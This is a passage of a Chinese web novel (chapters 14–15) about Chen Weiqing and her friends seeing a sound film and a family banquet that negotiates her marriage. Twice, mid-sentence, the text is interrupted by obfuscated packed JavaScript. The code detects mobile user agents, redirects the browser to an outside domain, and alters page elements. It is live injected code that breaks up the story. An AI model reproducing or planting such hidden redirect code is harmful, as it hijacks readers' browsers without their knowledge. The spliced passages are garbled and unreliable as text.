“不行。”他说得很轻，“那是你们的东西，不是我的。” 他的语气并不冷淡，甚至有点温柔，可是拒绝的意味却无比清晰。 “你是不是觉得我们这些个东西，其实都是做不成的？” “不，我觉得至少你们做得比我那时好太多。” “我可以帮你，但我不能加入你们。”他放下勺子，像是怕她误会，补了一句，“那是你们年轻人的世界。我已经……走不了那么快了。” 糖水已经快凉了，碗沿泛起薄薄一层糖膜。 陈蔚青看着他，像是还有好多话没说出口。可最终她只是点了点头：“那……你周末什么时候有空？” “你挑吧。”他站起身，把椅子轻轻往回推，“反正我现在……也不是什么抢手的人了。” 他朝她微微一笑，身影像是和很多年前那个初来陈家的“梁老师”重合在了一起。 “那就……周六下午吧？”她也站了起来，声音轻得几乎被风吹散，“我来找你。” “好。” 铺子门外的黑市已经安静下来，只有几盏昏黄的灯还亮着。他们一前一后走出糖水铺，那条街还是那条街，可脚步声听起来却比上次更踏实了一些。 14. Wenn ich tanzen 陈蔚青趴在锅炉房的桌子上，桌面已经被擦得发亮。窗外风吹着枯叶在铁皮屋檐上飒飒作响，她的铅笔头却迟迟停在空白纸上。 “命题清晰。”她低声重复着梁悯初的说过的话，“不能模棱两可，也不能感情用事。” 她写下第一句，又划掉。写了第二句，又擦掉。最终，她在纸上郑重地写下：“如果服从是错的，那不服从就一定是对的吗？” 写完她就停住了，盯着那一行字，仿佛盯着镜子里的自己。逻辑代数并不允许犹豫，可她犹豫了许久。 这个问题她不是第一次问自己，但这是第一次，用逻辑的方式问出口。 她在纸下画了两个格子，一边写上“是”，一边写上“否”。 铅笔头在“否”上轻轻一点，又停下。 那是自然，这是逻辑，是数学，是不容置疑的。 “服从是错的”的否命题是“不服从是不错的”，也就是“不服从一定是对的”。 但可惜真命题的否命题不一定是真命题。 她忽然觉得这不像是在解一道逻辑题，更像是在押一场赌注。 她手指还搭在纸上，耳边却传来“沙沙沙”的声音。她抬起头，发现不远处，罗简正趴在一块空着的卡纸板上写东西。她身子半伏着，舌尖还顶着嘴角，像是在给每一个字都加上点力气。 “你在写什么？”陈蔚青有些好奇。 “没什么！”罗简“唰”地把那张纸往怀里一揣，眼睛一瞪，像只被抓住偷吃糖的小猫。 “让我看看嘛。”蔚青伸出手。 “真的没什么啦！”她脸颊一红，又悄悄往后藏，纸边却露出一小行歪歪斜斜的铅笔字。 陈蔚青笑了笑，轻轻一拉，罗简没拦住，只好垂着脑袋任她抽走那张纸。 纸张上是几段零碎的句子，字不工整，标点混乱，有些字还一看就知道是生拼硬造，但那种认真劲却从歪歪扭扭的笔划里透了出来。 她写的是码头边的一个女人。每天早晨天还没亮，就提着竹篮子和破桶，赤着脚踩着湿滑的青石板下来洗衣服。她总爱唱歌，不是那种戏曲，没人知道那是什么，或许是她自己写的呢，歌曲的尾巴拖得长长的，像是不愿意结束。 有一回冬天看到那女人蹲在水边，脚已经冻得通红，鞋子却没脱，裤脚浸着水。她说她原本想叫她回去歇歇，可她唱得太入神，像是忘了这个冬天是给人冷的，忘了水是给人疼的。 “多冷的天呐，像刀子一样。” “还好咯，我听说往北边走啊，冬天会下雪，跟人一样厚呢。” “大娘，你见过雪吗？” “没有，但应该是白色的吧。” 她写她有次在码头角落睡午觉，迷迷糊糊地听到那女人唱到一半停下，远远地传来别人口气粗的喊声：“阿珠——饭呢！”然后歌声就没了。她从石头缝里抬头看过去，只看到那女人把衣服一裹，飞快地往家走，走几步又回头看河水，像是怕有人偷了她洗到一半的褂子。那女人手上的皱纹像麻绳，唱歌的时候总是笑，笑得嘴角往下垂。她从来没听清那女人唱的是什么，但就是好听，直到现在，她还是会在梦里听到那首歌。 “你这篇，写得真挺好。”陈蔚青轻声说。 “你别笑我啊！”罗简抱着头，“我就瞎写写，反正你说以后要写文章嘛，我就想试试。” “我为什么要笑你？”蔚青拍拍她，“这比我第一次写的还好。” “真的？” “真的。”她认真地点头，“你这篇，我要给婉芝看。说不定，下期的报纸上就能登出来。” 罗简嘴张得大大的，最后狠狠地点了点头：“嗯！” “那么感人？”沈时砚在角落悠悠地开口，手上还在摆弄着他的继电器，“那我也写一篇，题目叫《命题逻辑分析》，附带三页数学证明，怎么样？” “滚。”陈蔚青和罗简几乎异口同声。 就在这时，锅炉房门被猛地推开，风卷着几张废纸飘了进来，黎婉芝穿着一件浅米色短外套，风风火火地冲了进来，手上举着一张泛黄的宣传单。 “走啦走啦！电影院今天放新片！”她边喘气边挥舞着纸，“派拉蒙的新片，听说是有声片，老黎说那唱歌的人像是在耳边唱的——要不要听听？” “有声片？”罗简一瞬间坐直了，眼睛亮得像猫看见灯，“什么意思？真的人说话吗？” “当然是！”婉芝得意地一挥手，“在明珠电影院，今天晚上六点，赶得上！我刚和售票的说好了，有三张票。” “哎你怎么就准备了三张？”蔚青狐疑地看她。 “当然是给你、我、还有我们的小作家。”婉芝笑眯眯地看向罗简。 沈时砚在角落咳了一声：“好歹我也出过力啊，电影不给我看？” 罗炽南也在角落咳嗽了一声：“咳咳，我就不用了，给我妹妹带回来就行。” “等你写完你的逻辑分析，我们请你看《论人类不平等的起源与基础》。”婉芝翻了个白眼，把宣传单甩进他怀里，又转头对罗炽南说，“抱歉忘记你了南哥，咱们看浪漫爱情故事也不好意思带着你们是吧，反正你放心好了！一定会把你妹妹全须全尾地带回来给你的。” 天色将暮，三人有说有笑地从锅炉房里走出去，一路经过码头旧街，走过昏黄灯火和小贩摊前的汽水箱。明珠电影院的门口已站了不少人，穿长衫的、穿西装的、还有穿洋裙的太太。灯牌上的片名写着《茜茜与皇冠》，灯泡一闪一闪地亮，像是要把整座城市照进新的时代。 “哇……”罗简仰着头看那幕布一样的灯箱，“第一次看电影哎……” “而且是第一次听见电影会说话。”婉芝搂住她。 “那我该穿得隆重点……”她悄悄拉拉自己的工装裤。 “没关系，我们就是来见见世界的。”陈蔚青站在她另一边，语气轻柔，却带着坚定，“反正我们已经在写它了。” 电影院大门缓缓打开，柔和的光从门缝中泄出来，映在三人脸上——那是少女最明亮、最满怀期待的表情，如夜色中最早亮起的三盏灯。 电影厅的灯缓缓熄灭，荧幕前一瞬间漆黑无声。 罗简紧紧攥着椅子的边缘，眼睛睁得比灯泡还大。黎婉芝靠在她旁边，嘴里嚼着半化的硬糖，眼神里却早就亮晶晶的，像是比谁都知道接下来会发生什么。陈蔚青坐在最边上，裙角整整齐齐地收好，手里还攥着那张被折过几次的票根。 银幕亮起来的时候，是一点微光在黑暗里挣扎，然后一下子炸开，像天花板裂出一道缝，从里面灌下了另一个世界的光。 有声片开始了。 屏幕上，一个女人——那是主角茜茜公主，她在奔跑，她的裙角扬起，嘴巴张开，竟真的发出了声音。 不是字幕，不是讲解，是——她在说话，她在唱歌。 罗简像被电到了一样，整个人往前倾了半寸。 她眼睛睁得极大，嘴唇轻微张开，好像怕惊扰了什么圣物。 “哇……”她低低吐出这声，几乎不是在说话，而是惊叹。 电影是黑白的，画面不算清晰，声音里带着老式留声机的沙沙响。主角茜茜公主第一次骑马出场时，她头发在风中飞舞，眼睛亮得像星星，一句“我不想嫁人，我想去环游世界”，就让全场悄悄安静了一瞬。 她不是那种规规矩矩的公主，她会偷跑出去爬树，躲在厨房帮厨子做点心。她第一次见到皇帝时正穿着一身不合规矩的猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502448|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装，头发还乱着，脸上是被阳光晒红的热度。可她却毫不怯场地说：“我是我父亲的女儿，不是王冠的附属。” “这台词真漂亮……”黎婉芝小声赞叹。 陈蔚青心里轻轻一动。 电影后半段，茜茜嫁给了皇帝，却在礼仪、宫规和女人的敌意中渐渐失语。她看着镜中被打理得无可挑剔的自己，轻声说：“我变得连我自己都不认识了。”然后独自一人离开了宫廷，去了海边。 镜头拍下她在海边骑马、在山上读书，在一间开满牵牛花的小屋里独自生活。直到某天皇帝来找她，说：“我需要的是你，不是一个完美的皇后。” “可我不再知道，我是谁了。”茜茜说。 电影的最后，她还是回到了维也纳，坐在王座边，却闭上了眼睛，像是困倦了很久。 电影就这样在她在王座上的打盹里结束了。” 灯光亮起。 电影院一时静默。三人都没有说话，像是被这场黑白梦缠了一整晚，谁也没先醒过来。 “你们说……”罗简先开口，声音有点哑，“她开心吗？” “她自由吗？”黎婉芝说。 “她是她自己吗？”陈蔚青问。 然后三人对视了一眼，忽然笑了。 “唉……”婉芝伸个懒腰，“南州的三个平凡女子，操着公主的心。蔚青你想想得了，我费个什么劲。” “但你不觉得……”蔚青慢慢说，“她其实是我们都想过的那种人吗？反叛一点、聪明一点、不太妥协……但最后还是回去了。” 三人走出影院，风吹起街上的灯光，脚边是汽水瓶滚落的声音。外头街灯还亮着，街上人影稀落，三人一言不发地走了一段路，才在路口一起笑了起来。 南州街头的灯光不像北方城市那样明亮，却也足够照出人影。几家杂货铺还没打烊，街角传来卖糖人的吆喝声。风吹过明珠电影院的门帘，扬起一缕缕刚刚被电影熏热的回忆。 “她真美啊……”罗简一边走一边念叨，仿佛还沉在电影里，“那个海边的镜头，我都想哭了。” “你是羡慕她的裙子，还是她那匹白马？”黎婉芝打趣她。 “是她那句‘我变得连我自己都不认识了’。”罗简小声说。她的声音有些迟疑，像是怕自己太过认真了。 三人走到旧城区的小巷口，月亮从云层里探出头来，昏黄的街灯下，她们的影子拉得老长。 忽然，罗简像是心血来潮，轻轻哼起了刚才电影里反复出现的一首旋律。 那是一句德语的歌，调子柔柔的，像是穿过维也纳的风。她不会德语，只是在模仿她的发音，词也记得不全，调子甚至有点走音，可唱得极认真，眼睛望着月亮，像是要把整个梦留住。 陈蔚青和黎婉芝都停住了脚步。 月光落在她们身上，白色的、薄薄的，像洒了一层旧时代的银粉。 罗简唱到一半，又抬头看月亮，仿佛她的声音是要给谁听的。 陈蔚青低声说：“……简直跟电影里面一模一样。” 罗简一愣，回头看她，脸上浮现一点茫然的笑：“是吗？” “是真的。”黎婉芝走上前去，伸手抱住她的肩，像是忽然被触动了什么，“阿简，以后你一定要演电影。” “我？”罗简愣住。 “当然！你之前不是说了吗，你想演，而且你可以的！”婉芝盯着她看，“那就够了。” 她们就这样走在路灯与月光交错的街道上，像三根并肩燃烧的火柴。光亮很小，却足够照亮脚下的石板路。 陈蔚青忽然想到，如果有一天罗简真的出现在银幕上，她一定还记得这个夜晚——那个旧街口、电影院门口、电影刚放完的夜晚。 15. 地狱也有其法则 “我还是觉得你该去看看。”唐敬微坐在铜镜前，一边拨弄着鬓边的发丝，一边说。 陈蔚青没有答话，只是站在她身后，替她拎着那件银灰色的旗袍，布料轻薄柔滑，像是水中捞起的月光。她手指抚过旗袍的花边，心却在想着另一个地方。 “沈家的老夫人病了，沈太太从南京赶回来，眼下肯定要见见你这个‘未来的小儿媳’。”唐敬微语气不重，语气却像是温水里的石子，一点一点沉到底。 “我又没说要嫁过去。”陈蔚青低声。 “你没说，但你也没否认。”唐敬微回头看她一眼，眼里那种半温柔半锐利的审视，让人喘不过气，“怎么，他当时不是你挑的男伴？” 外面天色还早，院子里的桂花已经落了一地，风吹来时，有几朵贴在窗纸上，仿佛一只只不愿离去的旧梦。 “你从前不是说过吗，女人要有自己的声音？”唐敬微轻轻笑了一声，“沈家要你，沈公子喜欢你，作为陈家小姐足够举足轻重，你不说话，他们也会听到你的声音。” 她没有等女儿回答，只是接过旗袍，自顾自穿上。镜子里映出母女两人的影子，一前一后，一个沉静，一个彷徨。 蔚青忽然低声说：“宣之于口的，真的都是我的声音吗？” 唐敬微穿好衣服，又换了双耳坠。她不看镜子，只看女儿，没有回答她的问题：“你别总一副心不在焉的样子，今天是给你脸面。你要是不去，不止我没面子，陈家其他旁支也要说闲话。” “我和沈时砚其实……没那回事。”陈蔚青终于忍不住了，低声反驳。 “有没有那回事，不是你说了算的，也不重要。”唐敬微转身，那声音像是藏着鞭子的丝绒，“你去宴会上站一站，不欠你什么。你今天不去，明天你爹就要亲自来请你了。” 陈蔚青深吸一口气，没有再说话。 母亲和她坐上了汽车，父亲早已经坐在副驾驶了。见她们上来，他挥了挥手，示意司机启动。 车开了一会，在一家富丽堂皇的西式餐厅前停了下来。门前停着几辆南州难得一见的私家车，门童西装笔挺，站得笔直，像一道暗示着权力等级的门槛。 她们三人走进去，陈蔚青从一进门起就觉得冷。 不是天冷，屋里的炉子烧得正旺，紫檀木桌面被烘得温热，长桌正中还摆着刚煲好的参汤，香气缭绕。但她仍觉得冷，像是从骨头缝里升起的一股寒意。 这不是一次普通的宴会，而是一场会谈——两家的会谈。整家餐厅都被包下，所有客人都被清走，西式的厅堂里却摆满了传统中式器具。横摆着一张老紫檀长桌，桌沿雕着一簇簇莲花，美丽且虚假，地砖是广式嵌花。长桌一侧坐着沈家人，一侧坐着陈家人，正中坐着沈家老夫人和陈蔚青的外祖母，身后各站着几位神情肃穆的佣人。 陈蔚青坐在长桌最末尾，沈时砚就在她身旁。他们像是被搁置在棋盘角落的两枚棋子，外表沉静，实则无从选择。 “南市第三码头的调拨权，贵方若是愿意放手一成，我们自然可以在通关上网开一面。”沈家二叔温吞地说，声音里却带着分毫不让的精明算计。 陈家老二陈叔云冷哼一声：“港口的流转你们占了七成，还要我们让一成？沈二爷怕不是忘了去年东区铁道是谁出的本？” 一时之间，空气像凝固了一样。连汤壶里的烟都绕得更慢，桌面仿佛响起了什么无法言说的“滴答”声。 “先不谈这个，伤了和气。”主位上的沈老夫人忽然开口，她声音不大，却沉稳如钟，“年轻人的婚事，定得怎么样了？” 顿时，所有目光都移向了桌角。 陈蔚青的指尖顿时一紧，几乎能听见自己掌心里渗出的汗珠滚落。沈时砚坐得更直了些，他穿着深灰长衫，领口扣得整整齐齐，斯文得体，倒像是一个清清白白的旁观者。 “我觉得——”他终于开口，声音平静得像一杯放凉的清茶，“这些事长辈们做主，我们晚辈听就是。” 话音落下的那一瞬，蔚青只觉得五雷轰顶。 他怎么可以这样说？这不过是一场演戏，他怎么就真的把决定权交了出去？那是他们的“假戏”，现在却像是真要成了别人写的戏文。她只觉得脑子里“嗡”的一声，突突地疼，好像什么声音都听不见了，只剩下空气中的低压与自己的心跳。 “大哥的婚事有什么用？”沈老太太身边的沈时墨忽然开口，声音清亮又带着少年人的冲撞，“他一心想着去北平谋个大学里的差事好分家呢，分了家还不知道是不是沈家人。” “沈时墨！”沈父沈则谦沉声喝住，“你怎么说你大哥的！” “好了好了……”沈老太太抬手止住，“时墨也不是有意的，童言无忌。时砚，你也别介意，他还小。” 蔚青耳朵发热，视野像在收紧，仿佛连空气都要塌下来。她觉得自己必须离开——哪怕只是一小会儿也好。 她绞尽脑汁，英文不行，至少她的父母都听得懂。那……或许……她只学过一点点，只是在梁老师讲到歌德的浮士德的时候偷偷记下来的。但或许，或许真的可以—— 诱惑浮士德的魔鬼梅菲斯特说：“地狱本身也有法则。倒是妙极了，如此便能立契约，与诸位大人，你们这些先生，妥善达成？” 她忽然伸手握住沈时砚的手，低声、急促地说了一句：“DieHoelleselbsthatihreRechte.” 地狱本身也有其法则——都是合约、交易。 沈时砚微微一愣，转头看她。她怕他没听明白，正想着怎么换个方式再说一遍，却见他站起来，动作不快却坚定，手还扶着她的手臂：“抱歉，蔚青说她不舒服，我们出去一下。” 两人站起身，动作像是被编排好的舞步，整齐、体面，没人阻拦。他们从众目睽睽中走出去，像是推开了这间密不透风的大厅的一扇窗。 空气扑面而来，那才是真正的冷，却让人呼吸得更顺了。 夜风扑面，街道上只剩下零星的车灯和几声晚归电车的“叮铃”。陈蔚青一路沉默，直到走出餐厅正门那段铺着碎石的台阶，在半盏路灯下，她终于停下脚步。 她转身看他，眼睛在昏黄灯光下微微泛着湿意，声音却格外清楚：“刚才你为什么就那样把决定权交出去了？” 沈时砚垂着眼，没立刻说话。半晌，他才轻声答：“我……不知道，我只是觉得，他们好像都很满意。” “你跟我说——”陈蔚青像是被点燃了情绪，猛地提高声音，“你因为他们满意，就答应了下来！？” 风吹过她耳边，她的语速却丝毫没减，语气一寸寸地咄咄逼人：“他们不满意你搞你的计算机器，你就不做了？他们不满意你去北平当老师，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502449|170413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不去了！？那你到底在坚持什么？” 沈时砚急忙摇了摇头：“我不是这个意思。” “那是什么意思？”她逼视着他，一字一顿。 他终于抬起头，眼里却没有辩解，只有一种被触碰到的温柔痛楚：“……我只是觉得，我母亲很满意。” 他说这话时，嘴角甚至还带着一点难以察觉的苦涩笑意，像是习惯了努力去取悦一个人，却突然真的取悦成功了的迷惘。 陈蔚青一时没听懂：“你说……姚夫人？她不是那种——” “她是。”沈时砚低低地说，打断了她，“她就是那种‘新女性’。她年少时离家出走，讲独立、讲救国、讲新文化新社会男女平等……她不是会逼我成家立业、光耀门楣的那种人。” 他说着，却露出一丝讽刺般的笑意：“但她也从来没满意过我。” 风吹乱了他鬓角的头发，他轻轻吸了一口气，又慢慢吐出来。 “直到我跟她提起你。”他看着她，眼神忽然变得很深，“我说你聪明，博学，对什么都好奇；你会动手，会教别人识字，会写文章，还会争一口气。她听着听着，眼神变了……那是她第一次，看我的眼神里，好像不是失望。” 陈蔚青像是忽然被风拍了一下，站在那儿，一时说不出话。 陈蔚青低声问：“怎么会……？她……我以为她是……” 她本想说：“我以为她是我理想中的完美母亲”，但话卡在喉咙里。她望着夜色中沈时砚的侧脸，却忽然说不出这句赞美的话来。 沈时砚垂着眼，声音很轻，却不像他平时那样温吞，而是近乎机械地念出一段往事。 “她生下我弟弟以后就回娘家了。”他顿了一下，“那年我九岁，我大姐十五岁，我弟弟刚刚出生。” “我度过了九年有母亲陪伴的日子……正好，不长不短。”他说着笑了一下，笑得苦涩，“如果像我大姐那样，整个童年都有她陪着，或许她会变成一个更真实的人，不是那么遥远；或者像我弟弟那样，从一开始就没有，至少……不用期待。” 陈蔚青怔怔地看着他，一时说不出话来。 “我知道她在做很有意义的事。”沈时砚缓缓道，“她回了南京，办慈善学校，研究法律，出版杂志……她的名字出现在不少文章、演讲里。是南方最早支持女学生留洋的几位之一。” “她给别人的女儿奖学金，给贫民的孩子课本……就是没有空，给自己的儿子讲一篇课文。”他轻声道。 风从街角绕过来，带着一点桂花香味。可沈时砚的语气却淡得像是沉在水底。 “她是我最早见过的‘新女性’，独立、自主、讲道理……但她也从不看我画的电路图，也从不参加我的升学典礼。” “有时候我在想，是不是我做得还不够。是不是只要我再好一点，她就会满意。” 他慢慢抬起头，眼神有些疲惫，却不再是少年那种逃避的懦弱，而是一种终于认清了的疲倦。 “那天她听我说起你，她居然笑了……她说，‘这样聪明又肯钻研的女孩子可不多，你以后要好好扶持她。’” “你知道她从来没说过类似的话。”他说，“所以，我就……想留下那点东西。” 他转头看向她，语气缓慢：“我知道，这不该是你来承担的。” “你脑子有问题吧？”